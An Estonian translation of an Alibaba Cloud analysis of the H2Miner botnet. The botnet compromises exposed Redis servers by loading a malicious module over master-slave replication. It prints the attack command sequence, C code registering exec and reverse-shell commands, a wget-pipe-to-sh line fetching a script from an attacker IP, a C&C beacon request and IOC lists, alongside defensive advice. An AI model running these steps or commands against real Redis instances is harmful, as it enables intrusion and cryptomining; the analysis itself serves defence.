Avastatud on uus H2Miner usside puhang, mis kasutab Redis RCE-d

Üks päev tagasi rünnati ühe minu projekti serverit sarnase ussiga. Otsides vastust küsimusele "mis see täpselt oli?" leidsin suurepärase artikli Alibaba Cloud Security meeskonnalt. Kuna ma ei leidnud seda artiklit Habrist, otsustasin selle spetsiaalselt teie jaoks tõlkida <3

Sissejuhatus

Hiljuti avastas Alibaba Cloudi turvameeskond äkilise H2Miner puhangut. Selline pahavara kasutab autoriseerimise puudumist või nõrku paroole Redis, et pääseda teie süsteemidesse, sünkroniseerides seejärel oma pahatahtliku mooduli slave'iga master-slave sünkroniseerimise kaudu ja lõpuks laadides selle pahatahtliku mooduli rünnatavasse masinasse ning täites pahatahtlikud juhised.

Varasemalt toodi rünnakud teie süsteemide vastu peamiselt läbi meetodi, mis hõlmas ajastatud ülesandeid või SSH-võtmeid, mis salvestati teie masinasse pärast sissetungija sisse logimist Redis. Õnneks ei ole see meetod sageli kasutatav, kuna see toob kaasa lubade kontrolli probleeme või erinevate süsteemide versioonide tõttu. Siiski võib see pahatahtliku mooduli laadimise meetod otseselt käivitada ründaja käsklusi või pääseda juurde shellile, mis on teie süsteemile ohtlik.

Suure arvu serverid Redis'e, mis on avatud internetis (peaaegu 1 miljon), kutsub Alibaba Cloudi turvameeskond sõbralikult kasutajaid üles mitte andma Redis'ile juurdepääsu internetist ning regulaarselt kontrollima oma paroolide usaldusväärsust ja ka selle suhtes, kas need on kiirelt äraarvatavad.

H2Miner

H2Miner on Linuxi põhiste süsteemide kaevandamis-botnet, mis võib tungida teie süsteemi erinevatel viisidel, sealhulgas autoriseerimise puudumisest Hadoop yawni, Dockerisse ja Redis'i kaugkäivituskehtivuse (RCE) haavatavusest. Botnet töötab, laadides pahatahtlikke skripte ja pahavarasid teie andmete kaevandamiseks, laiendades rünnakut horisontaalselt ning säilitades käskluse ja kontrolli (C&C) ühenduse.

Redis RCE

Teadmisi selle teema kohta jagas Pavel Toporkov ZeroNights 2018-l. Pärast versiooni 4.0 toetab Redis väliste moodulite laadimise funktsiooni, mis võimaldab kasutajatel laadida C keeles kompileeritud so-faile, et täita teatud Redis käsklusi. See funktsioon on kasulik, kuid sellel on nõrkus, mille tõttu võivad failid master-slave režiimis sünkroniseeruda slave'i kaudu fullresync režiimis. Seda saab kurjategija kasutada pahatahtlike so-failide edastamiseks. Pärast edastamise lõpetamist laadivad ründajad mooduli rünnatavasse Redis eksemplarisse ja täidavad mis tahes käsku.

Pahatahtliku ussi analüüs

Hiljuti avastas Alibaba Cloudi turvameeskond, et H2Mineri pahatahtlike kaevandajate rühm on järsult suurenenud. Analüüsi kohaselt ilmneb rünnaku üldine protsess järgmiselt:

H2Miner kasutab RCE Redis'i täielikuks rünnakuks. Esiteks ründavad kurjategijad kaitsmata Redis servereid või servereid, millel on nõrgad paroolid.

Seejärel kasutavad nad käsku config set dbfilename red2.so failinime muutmiseks. Pärast seda täidavad ründajad käsku slaveof master-slave replikatsiooni hosti aadressi seadmiseks.

Kui rünnatav Redis eksemplar loob master-slave ühenduse pahatahtliku Redis'iga, mis kuulub kurjategijale, saadab ründaja nakatatud mooduli koos fullresync käsuga failide sünkroniseerimiseks. Seejärel laaditakse fail red2.so rünnatavale masinale. Pärast seda kasutavad kurjategijad moodulit .\/red2.so selle so-faili laadimiseks. Moodul võib täita kurjategija käske või alustada tagurdusühendust (tagauks), et saada juurdepääsu rünnatavale masinale.

if (RedisModule_CreateCommand(ctx, "system.exec",
        DoCommand, "readonly", 1, 1, 1) == REDISMODULE_ERR)
        return REDISMODULE_ERR;
      if (RedisModule_CreateCommand(ctx, "system.rev",
        RevShellCommand, "readonly", 1, 1, 1) == REDISMODULE_ERR)
        return REDISMODULE_ERR;

Pärast pahatahtliku käsu täitmist, näiteks / bin / sh -c wget -q -O-http://195.3.146.118/unk.sh | sh> / dev / null 2> & 1, kustutab kurjategija varukoopia faili nime ja võtab süsteemimooduli väljalaske, et kustutada jäljed. Siiski jääb fail red2.so endiselt rünnatavale masinasse. Kasutajatel soovitatakse pöörata tähelepanu kahtlaste failide olemasolule oma Redis eksemplari kaustas.

Lisaks teatud pahatahtlike protsesside kustutamisele ressursside varastamiseks, järgnes ründaja pahatahtlikule stsenaariumile, laadides üles ja käivitades binaarfailides pahavara, et 142.44.191.122/kinsing. See tähendab, et protsessi nimi või katalooge nimi, mis sisaldab kinsing’u, võib viidata sellele, et see masin on selle viirusega nakatunud.

Tagasikerimise tulemuste kohaselt täidab pahavara peamiselt järgmisi funktsioone:

• Failide laadimine ja nende käivitamine
• Kaevandamine
• C&C-ühenduse hoidmine ja ründaja käskude täitmine

Kasuta masscan'i väliseks skaneerimiseks, et laiendada mõju. Lisaks on C&C-serveri IP-aadress programmis kõvasti krüpteeritud ning rünnatud host suhtleb C&C-ühendusega HTTP-päringute kaudu, kus zombisüsteemi (rikkumisega serveri) informatsioon tuvastatakse HTTP-pealkirjas.

GET /h HTTP/1.1
Host: 91.215.169.111
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
Arch: amd64
Cores: 2
Mem: 3944
Os: linux
Osname: debian
Osversion: 10.0
Root: false
S: k
Uuid: xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxx
Version: 26
Accept-Encoding: gzip

Teised rünnakumeetodid

Aadressid ja lingid, mida usaldustused kasutavad

/kinsing

• 142.44.191.122/t.sh
• 185.92.74.42/h.sh
• 142.44.191.122/spr.sh
• 142.44.191.122/spre.sh
• 195.3.146.118/unk.sh

c&c

• 45.10.88.102
• 91.215.169.111
• 139.99.50.255
• 46.243.253.167
• 195.123.220.193

Soovitus

Esiteks ei tohiks Redis olla avatud Interneti juurdepääsuks ja peaks olema kaitstud usaldusväärse parooliga. Samuti on oluline, et kliendid kontrolliksid, et Redis'i kataloogist puudub fail red2.so ja et kinsing ei ole nime failis/protsessis hostis.

Allikas: habr.com